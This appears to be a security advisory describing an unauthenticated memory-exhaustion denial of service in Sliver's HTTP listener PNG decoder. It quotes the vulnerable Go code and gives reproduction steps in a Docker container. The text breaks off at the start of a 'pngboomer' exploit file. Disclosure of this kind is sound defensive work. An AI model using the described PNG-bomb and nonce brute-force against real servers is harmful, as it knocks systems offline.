CVE-2026-77622: Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder ### Summary Sliver is vulnerable to a Denial of Service…

Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

### Summary
Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.
### Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`
```go
const (
EncoderModulus = uint64(65537)
)
```

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:
`util/encoders/images.go`

```go
func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
img := imageFromBytes(data)
var buf bytes.Buffer
encoder.Encode(&buf, img)
return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) {
buf := bytes.NewBuffer(data)
img, err := png.Decode(buf)
if err != nil { return nil, err }
return bytesFromImage(img), nil
}
```

### PoC
The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)
```bash
git clone https://github.com/BishopFox/sliver.git
```

Build the Docker container:
```bash
cd sliver
docker build -t sliver-test:local -f Dockerfile .
```

Run the Docker container with a memory cap for example 4GB:
```bash
docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local
```

After the Docker container starts, create an http listener on port 8080:

```bash
http -L 0.0.0.0 -l 8080
```

In a seperate terminal create the following Go project:
`go.mod`
```Go
module pngboomer
go 1.25
```

`poc.go`
```Go
// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a mu

Affected